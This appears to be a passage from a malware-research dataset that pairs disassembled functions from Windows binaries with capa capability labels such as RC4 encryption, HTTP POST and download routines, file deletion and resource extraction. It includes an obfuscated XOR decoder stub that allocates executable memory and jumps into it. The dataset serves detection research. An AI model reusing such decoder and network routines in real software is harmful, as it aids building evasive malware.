joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100482c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test ebp, ebp
jbe 0x10048327
push ebx
push edi
mov edi, dword [esp + 0x14]
add byte [ecx + 0x100], 1
movzx eax, byte [ecx + 0x100]
lea edx, [eax + ecx]
movzx eax, byte [edx]
add byte [ecx + 0x101], al
mov al, byte [ecx + 0x101]
mov bl, byte [edx]
movzx eax, al
movzx eax, byte [eax + ecx]
mov byte [edx], al
movzx edx, byte [ecx + 0x101]
mov byte [edx + ecx], bl
movzx eax, byte [ecx + 0x100]
movzx edx, byte [eax + ecx]
add dl, bl
movzx eax, dl
movzx edx, byte [eax + ecx]
xor byte [esi + edi], dl
add esi, 1
cmp esi, ebp
jb 0x100482d2
pop edi
pop ebx
pop esi
mov al, 1
pop ebp
ret 8

Function at 0x10048340
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
xor eax, eax
mov byte [eax + ecx], al
add eax, 1
cmp eax, 0x100
jl 0x10048342
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
xor edi, edi
xor esi, esi
jmp 0x10048360
xor edx, edx
mov eax, esi
div dword [esp + 0x18]
mov bl, byte [esi + ecx]
movzx eax, byte [edx + ebp]
movzx edx, bl
add eax, edi
add edx, eax
mov edi, edx
and edi, 0x800000ff
jns 0x10048388
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + ecx]
mov byte [esi + ecx], al
add esi, 1
cmp esi, 0x100
mov byte [edi + ecx], bl
jl 0x10048360
pop edi
pop esi
pop ebp
mov byte [ecx + 0x101], 0
mov byte [ecx + 0x100], 0
mov al, 1
pop ebx
ret 8
Function at 0x10048460
Capabilities:
Get http content length
Query remote server for available data
Read data from internet
Receive data

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2c]
push edi
xor eax, eax
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0x20000005
push esi
mov dword [esp + 0x38], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x100484b1
mov edx, dword [esp + 0x10]
add edx, 1
push edx
call fcn.1004aa4a
mov ebx, eax
mov dword [esp + 0x18], ebx
jmp 0x100484c9
push 0x201
mov dword [esp + 0x14], 0x200
call fcn.1004aa4a
mov dword [esp + 0x18], eax
mov ebx, eax
mov ebp, dword [esp + 0x14]
add esp, 4
push 0
push 0
lea eax, [esp + 0x24]
push eax
push esi
mov edi, ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x1004859b
lea ebx, [ebx]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100485af
cmp eax, ebp
jbe 0x1004855a
mov ecx, dword [esp + 0x10]
sub eax, ebp
lea esi, [ecx + ecx]
add eax, ecx
cmp esi, eax
jae 0x10048516
nop
add esi, esi
cmp esi, eax
jb 0x10048510
lea ecx, [esi + 1]
push ecx
call fcn.1004aa4a
mov edx, dword [esp + 0x14]
mov ebx, eax
mov eax, dword [esp + 0x18]
sub edx, ebp
push edx
push eax
push ebx
call fcn.1004c690
mov eax, dword [esp + 0x24]
sub edi, eax
mov ecx, esi
sub ecx, edi
push eax
mov ebp, ecx
call fcn.1004ace2
mov eax, dword [esp + 0x30]
add esp, 0x14
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x30]
mov dword [esp + 0x14], ebx
add edi, ebx
lea edx, [esp + 0x28]
push edx
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10048592
mov eax, dword [esp + 0x28]
add dword [esp + 0x20], eax
push 0
add edi, eax
sub ebp, eax
push 0
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x100484f0
jmp 0x1004859b
push ebx
call fcn.1004ace2
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
call esi
test eax, eax
mov dword [esp + 0x18], eax
jne 0x100485d0
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x38]
mov byte [edi], 0
pop edi
pop esi
mov dword [ecx], ebx
pop ebp
mov dword [edx], eax
mov eax, dword [esp + 0xc]
pop ebx
add esp, 0x1c
ret 0xc
push ebx
call fcn.1004ace2
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x1c]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [ecx], 0
mov dword [edx], 0
pop ebx
add esp, 0x1c
ret 0xc
Function at 0x100486a0
Capabilities:
Create http request

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, ecx
push edi
xor edi, edi
cmp ebx, edi
mov byte [esi + 5], 0
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov byte [esi + 0x50], 0
je 0x100486df
mov ecx, SysReAllocString
mov eax, ebx
cmp byte [eax], 0
je 0x100486d4
add eax, 1
sub ecx, 1
jne 0x100486c5
jmp 0x100486df
cmp ecx, edi
je 0x100486df
mov edi, SysReAllocString
sub edi, ecx
lea ebp, [edi + 2]
push ebp
call fcn.1004aa4a
add esp, 4
cmp ebp, 0x7fffffff
mov dword [esi], eax
ja 0x10048706
cmp edi, 0x7fffffff
ja 0x10048706
push edi
push ebx
push ebp
push eax
call fcn.10018dd3
mov al, byte [esp + 0x18]
push 0x200
mov byte [esi + 4], al
mov dword [esi + 0xc], 0x3c
call fcn.1004aa4a
xor ecx, ecx
cmp byte [esi + 4], cl
push 0x200
setne cl
mov dword [esi + 0x10], eax
add ecx, 3
mov dword [esi + 0x18], ecx
call fcn.1004aa4a
push 0x200
mov dword [esi + 0x1c], eax
call fcn.1004aa4a
push 0x200
mov dword [esi + 0x28], eax
call fcn.1004aa4a
push 0x800
mov dword [esi + 0x30], eax
call fcn.1004aa4a
push 0x800
mov dword [esi + 0x38], eax
call fcn.1004aa4a
mov edx, dword [esi]
add esp, 0x18
push 0
push 0
push 0
push 0
push edx
mov dword [esi + 0x40], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
pop edi
mov dword [esi + 8], eax
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x10048790
Capabilities:
Parse url

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
test edi, edi
je 0x100487ae
mov edx, SysReAllocString
mov eax, edi
cmp byte [eax], 0
je 0x100487e9
add eax, 1
sub edx, 1
jne 0x100487a1
xor eax, eax
mov esi, 0x800
mov dword [ecx + 0x44], esi
mov dword [ecx + 0x3c], esi
lea esi, [ecx + 0xc]
push esi
push 0
mov edx, 0x200
push eax
push edi
mov dword [ecx + 0x34], edx
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x20], edx
mov dword [ecx + 0x2c], edx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x100487f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
ret 0xc
test edx, edx
je 0x100487ae
mov eax, SysReAllocString
sub eax, edx
jmp 0x100487b0
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10048818
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10048818
push eax
push ecx
push SysReAllocString
push esi
call dword [sym.imp.WININET.dll_InternetCreateUrlA]
test eax, eax
je 0x100487de
pop edi
xor eax, eax
pop esi
ret 0xc
Function at 0x10048820
Capabilities:
Check http status code
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 0x820
mov eax, dword [0x100862c4]
xor eax, esp
mov dword [esp + 0x81c], eax
mov eax, dword [esp + 0x82c]
push esi
push edi
mov edi, dword [esp + 0x830]
mov esi, ecx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x28]
push edx
push edi
mov ecx, esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], 0x800
call fcn.10048790
test eax, eax
jne 0x100489e1
cmp byte [esi + 5], al
push ebp
mov dword [esp + 0xc], eax
mov ebp, 0x84200300
jne 0x10048880
mov ebp, 0x84280300
mov eax, dword [esp + 0x830]
test eax, eax
push ebx
jne 0x100488b0
push esi
push ebp
push eax
push eax
mov eax, dword [esi + 8]
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x10048991
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100489df
cmp eax, 1
jne 0x100489da
movzx ecx, word [esi + 0x24]
mov edx, dword [esi + 0x1c]
mov eax, dword [esi + 8]
push esi
push 0
push 3
push 0
push 0
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x100488a5
mov edx, dword [esi + 0x38]
mov eax, dword [str.POST]
push 0
push ebp
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push edx
push eax
push ebx
mov dword [esp + 0x44], 0x1006eec8
mov dword [esp + 0x48], 0
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
jne 0x1004891f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100489cb
mov ecx, dword [esp + 0x840]
mov edx, dword [esp + 0x18]
push ecx
push edx
push 0x30
push str.Content_Type:_application_x_www_form_urlencoded
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10048946
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100489c2
push 0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x20000013
push edi
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10048991
mov eax, dword [esp + 0x14]
cmp eax, 0xc8
jb 0x10048984
cmp eax, 0x12c
jb 0x10048991
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x490
jmp 0x100489c4
mov eax, dword [esi + 0x4c]
test eax, eax
lea ebp, [esi + 0x4c]
lea ebx, [esi + 0x48]
mov dword [ebx], 0
je 0x100489b4
push eax
call fcn.1004ace2
add esp, 4
mov dword [ebp], 0
push ebx
push ebp
push edi
mov ecx, esi
call fcn.10048460
mov ebx, dword [esp + 0x10]
mov esi, eax
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x100489d6
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, esi
jmp 0x100489df
mov eax, 0x57
pop ebx
pop ebp
mov ecx, dword [esp + 0x824]
pop edi
pop esi
xor ecx, esp
call fcn.1004ada8
add esp, 0x820
ret 0x10
Function at 0x10048a40
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 0x80
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x10048a60
pop edi
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10048a73
pop edi
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, edi
pop edi
pop esi
ret

Function at 0x10048a80
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x20
mov eax, dword [0x100862c4]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x10]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x10048b68
mov ecx, dword [edi]
mov ebx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
mov dword [esp + 0x1c], ecx
push str.ProgramFilesDir
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], ebx
mov ebp, esi
call fcn.100065c5
cmp eax, 0xea
jne 0x10048b04
lea eax, [esp + 0x14]
push eax
xor ebp, ebp
push ebp
push str.ProgramFilesDir
lea ecx, [esp + 0x24]
call fcn.100065c5
test eax, eax
jne 0x10048b0e
test ebp, ebp
jne 0x10048b44
jmp 0x10048b13
cmp eax, 0x7a
jne 0x10048b40
mov eax, dword [esp + 0x10]
test eax, eax
mov ecx, dword [esp + 0x14]
mov dword [edi], ecx
je 0x10048b28
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 0x7a
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1004ada8
add esp, 0x20
ret
test eax, eax
jne 0x10048b68
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10048b53
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1004ada8
add esp, 0x20
ret
mov ecx, dword [0x1006ef14]
mov ebp, dword [edi]
mov edx, dword [str._PROGRAMFILES_]
mov eax, dword [0x1006ef10]
push ebp
mov dword [esp + 0x28], ecx
mov dword [esp + 0x20], edx
mov dx, word [0x1006ef18]
mov dword [esp + 0x24], eax
mov al, byte [0x1006ef1a]
push esi
lea ecx, [esp + 0x24]
push ecx
mov word [esp + 0x34], dx
mov byte [esp + 0x36], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp eax, ebp
jbe 0x10048bd5
test ebx, ebx
mov dword [edi], eax
mov byte [esi], 0
je 0x10048bbd
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 0x7a
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1004ada8
add esp, 0x20
ret
test eax, eax
jbe 0x10048bf9
test ebx, ebx
je 0x10048be4
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1004ada8
add esp, 0x20
ret
test ebx, ebx
je 0x10048c04
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 0x490
call fcn.1004ada8
add esp, 0x20
ret
Function at 0x10048c20
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x100862c4]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push ebx
mov ebx, dword [esp + 0x114]
push edi
mov edi, dword [esp + 0x11c]
push 0
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x10048c7b
pop edi
mov eax, 0x490
pop ebx
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1004ada8
add esp, 0x108
ret
mov ecx, 0x105
lea eax, [esp + 8]
push esi
cmp byte [eax], 0
je 0x10048ca4
add eax, 1
sub ecx, 1
jne 0x10048c85
xor esi, esi
mov eax, dword [edi]
add esi, 1
cmp eax, esi
jae 0x10048cb1
mov eax, 0x7a
jmp 0x10048cc6
test ecx, ecx
je 0x10048c92
mov esi, 0x105
sub esi, ecx
jmp 0x10048c94
cmp eax, 0x7fffffff
ja 0x10048cc4
lea edx, [esp + 0xc]
push edx
push eax
push ebx
call fcn.10006713
xor eax, eax
mov ecx, dword [esp + 0x110]
mov dword [edi], esi
pop esi
pop edi
pop ebx
xor ecx, esp
call fcn.1004ada8
add esp, 0x108
ret

Function at 0x10048d10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x100862c4]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
mov ebx, dword [esp + 0x114]
push edi
mov edi, dword [esp + 0x11c]
push 0x105
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10048d65
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.1004ada8
add esp, 0x10c
ret
mov ecx, 0x105
lea eax, [esp + 8]
push esi
nop
cmp byte [eax], 0
je 0x10048d8f
add eax, 1
sub ecx, 1
jne 0x10048d70
xor esi, esi
mov eax, dword [edi]
add esi, 1
cmp eax, esi
jae 0x10048d9c
mov eax, 0x7a
jmp 0x10048db1
test ecx, ecx
je 0x10048d7d
mov esi, 0x105
sub esi, ecx
jmp 0x10048d7f
cmp eax, 0x7fffffff
ja 0x10048daf
lea ecx, [esp + 0xc]
push ecx
push eax
push ebx
call fcn.10006713
xor eax, eax
mov ecx, dword [esp + 0x114]
mov dword [edi], esi
pop esi
pop edi
pop ebx
xor ecx, esp
call fcn.1004ada8
add esp, 0x10c
ret

Function at 0x10048dd0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 4]
cmp eax, 3
ja case.default.0x10048dd9
jmp dword [eax*4 + 0x10048e2c]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push eax
push ecx
call fcn.10048a80
add esp, 8
ret
mov dword [esp + 4], 2
jmp fcn.10048c20
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push ecx
push edx
call fcn.10048ce0
add esp, 8
ret
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push eax
push ecx
call fcn.10048d10
add esp, 8
ret
mov eax, 0xa0
ret
Function at 0x10048e40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
movzx edi, ax
mov eax, dword [esp + 0x1c]
push edi
push ebp
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov esi, eax
test esi, esi
jne 0x10048ea1
and edi, 0x3ff
push edi
mov edi, dword [esp + 0x20]
push ebp
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov esi, eax
test esi, esi
jne 0x10048ea1
push 0x409
push ebp
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov esi, eax
test esi, esi
jne 0x10048ea1
pop edi
pop esi
pop ebp
mov eax, 0x490
pop ebx
ret
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x10048eb9
pop edi
pop esi
pop ebp
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x24]
push edi
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [esp + 0x20]
mov dword [edx], eax
neg eax
pop edi
sbb eax, eax
pop esi
and eax, 0x7fffbffb
pop ebp
add eax, 0x80004005
pop ebx
ret

Function at 0x10049df0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x60
mov eax, dword [0x100862c4]
xor eax, esp
mov dword [esp + 0x5c], eax
push esi
mov esi, dword [esp + 0x68]
push edi
mov edi, dword [esp + 0x74]
push 0x40
lea eax, [esp + 0x10]
push 0
push eax
mov dword [esp + 0x14], vtable.CMD5Checksum.0
call fcn.1004b500
mov ecx, dword [esp + 0x7c]
add esp, 0xc
push ecx
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x5c], 0x67452301
mov dword [esp + 0x60], 0xefcdab89
mov dword [esp + 0x64], 0x98badcfe
mov dword [esp + 0x68], 0x10325476
call fcn.10049c60
push edi
lea ecx, [esp + 0xc]
call fcn.10049d10
mov ecx, dword [esp + 0x64]
pop edi
pop esi
xor ecx, esp
call fcn.1004ada8
add esp, 0x60
ret

Function at 0x1004a536
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x1009a880], 0
push esi
jne 0x1004a4a9
call fcn.1004a3d4
test eax, eax
je 0x1004a4ec
mov eax, dword [0x1009a880]
cmp eax, 1
jne 0x1004a4ca
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1004a4ec
pop esi
ret
push eax
call dword [0x1009a888]
test eax, eax
jne 0x1004a534
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1004a4f0
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x1009a880]
call dword [0x1009a888]
mov edi, eax
test edi, edi
je 0x1004a517
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x1004a533
lea edi, [esi + 0xff0]
push esi
push dword [0x1009a880]
call dword [0x1009a884]
add esi, 0x10
cmp esi, edi
jb 0x1004a51d
mov eax, esi
pop edi
pop esi
ret
jmp 0x1004a496
Function at 0x1004ada8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100862c4]
jne 0x1004adb2
repz ret
jmp fcn.10053bc7

Function at 0x1005c1c9
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100542bb
xor ebx, ebx
cmp dword [0x1009b390], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1005c29e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1005c209
xor eax, eax
jmp 0x1005c362
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100702f8
push edi
call esi
cmp eax, ebx
je 0x1005c202
push eax
call fcn.10054258
mov dword [esp], 0x100702e8
push edi
mov dword [0x1009b390], eax
call esi
push eax
call fcn.10054258
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1009b394], eax
call esi
push eax
call fcn.10054258
mov dword [0x1009b398], eax
lea eax, [ebp - 8]
push eax
call fcn.1005644e
test eax, eax
pop ecx
pop ecx
je 0x1005c26c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1004bb07
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1005c29e
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10054258
cmp eax, ebx
pop ecx
mov dword [0x1009b3a0], eax
je 0x1005c29e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10054258
pop ecx
mov dword [0x1009b39c], eax
mov eax, dword [0x1009b39c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1005c317
cmp dword [0x1009b3a0], esi
je 0x1005c317
push eax
call fcn.100542c4
pop ecx
call eax
cmp eax, ebx
je 0x1005c2e4
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x1009b3a0]
call fcn.100542c4
pop ecx
call eax
test eax, eax
je 0x1005c2e4
test byte [ebp - 0x18], 1
jne 0x1005c317
lea eax, [ebp - 0xc]
push eax
call fcn.10056485
test eax, eax
pop ecx
je 0x1005c2ff
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1004bb07
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1005c30e
or dword [ebp + 0x10], 0x200000
jmp 0x1005c348
or dword [ebp + 0x10], 0x40000
jmp 0x1005c348
mov eax, dword [0x1009b394]
cmp eax, esi
je 0x1005c348
push eax
call fcn.100542c4
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1005c348
mov eax, dword [0x1009b398]
cmp eax, esi
je 0x1005c348
push dword [ebp - 4]
push eax
call fcn.100542c4
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x1009b390]
call fcn.100542c4
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x422aac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x422abb
pop dword [ebp - 0x34]
mov eax, 0x422abb
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x4ea04
push 0
mov eax, 0xcab13676
add eax, 0x35926b8e
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x546f
mov edx, eax
mov ebx, 0x93b6661f
add ebx, 0x6c8fbde1
add ebx, dword [ebp - 0x34]
mov esi, 0xd7b13972
add esi, 0xb3f47d29
xor dword [ebp - 0x20], ecx
mov edi, dword [ebx]
mov dword [ebp - 0x20], 0x982605b8
sub edi, esi
xor dword [ebp - 0x10], 0xd8b7ac8
mov dword [edx], edi
sub dword [ebp - 8], 0x680dfd19
add edx, 0x634fc2b4
sub edx, 0x634fc2b0
add ebx, 4
loop 0x422b0f
add eax, 0xf6e4024f
sub eax, 0xf6e2bdc0
xor ebx, ebx
add ebx, eax
add eax, 0xacc08def
sub eax, 0xacc08dea
mov ecx, 0xb64f65cd
sub ecx, 0xb60f65cd
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x427eaa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4540d0]
jne 0x427eb4
repz ret
jmp fcn.00429e94
Function at 0x405e10
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x18], 0
ret
Function at 0x4086e0
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x24
mov eax, dword [esp + 0x30]
cmp eax, 2
je 0x408711
cmp eax, 1
je 0x4087d4
mov dword [esp], 9
call sub.msys_2.0.dll_sysconf
test eax, eax
jle 0x4087e8
add esp, 0x24
pop ebx
pop esi
ret
mov dword [esp], 0x415568
call sub.msys_2.0.dll_getenv
test eax, eax
je 0x4087d4
movzx edx, byte [eax]
test dl, dl
je 0x4087d4
movsx ecx, dl
sub ecx, 9
cmp ecx, 0x17
ja 0x408750
mov ebx, 1
shl ebx, cl
and ebx, 0x80001f
jne 0x4087f3
nop
sub edx, 0x30
cmp dl, 9
ja 0x4087d4
lea edx, [esp + 0x1c]
mov dword [esp + 8], 0xa
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 4], edx
call sub.msys_2.0.dll_strtoul
mov edx, dword [esp + 0x1c]
test edx, edx
je 0x4087d4
movsx ecx, byte [edx]
test cl, cl
je 0x408830
sub ecx, 9
cmp ecx, 0x17
ja 0x4087d4
mov ebx, 1
shl ebx, cl
and ebx, 0x80001f
je 0x4087d4
add edx, 1
mov ebx, 1
lea esi, [esi]
mov dword [esp + 0x1c], edx
movsx ecx, byte [edx]
test cl, cl
je 0x408830
sub ecx, 9
cmp ecx, 0x17
ja 0x4087d4
mov esi, ebx
add edx, 1
shl esi, cl
mov ecx, esi
and ecx, 0x80001f
jne 0x4087b0
mov dword [esp], 0xa
call sub.msys_2.0.dll_sysconf
test eax, eax
jg 0x40870b
add esp, 0x24
mov eax, 1
pop ebx
pop esi
ret
mov ebx, 1
nop
lea esi, [esi]
add eax, 1
movzx edx, byte [eax]
test dl, dl
je 0x4087d4
movsx ecx, dl
sub ecx, 9
cmp ecx, 0x17
ja 0x408750
mov esi, ebx
shl esi, cl
mov ecx, esi
and ecx, 0x80001f
jne 0x408800
jmp 0x408750
test eax, eax
mov edx, 1
cmove eax, edx
jmp 0x40870b

Function at 0x4089c0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x2c
mov dword [esp], 0x415580
call sub.msys_2.0.dll_getenv
mov edx, eax
mov eax, 0x31069
test edx, edx
je 0x4089df
cmp byte [edx], 0
jne 0x4089e3
add esp, 0x2c
ret
lea eax, [esp + 0x1c]
mov dword [esp], edx
mov dword [esp + 8], 0xa
mov dword [esp + 4], eax
call sub.msys_2.0.dll_strtol
mov edx, dword [esp + 0x1c]
cmp byte [edx], 0
mov edx, 0x31069
cmovne eax, edx
add esp, 0x2c
ret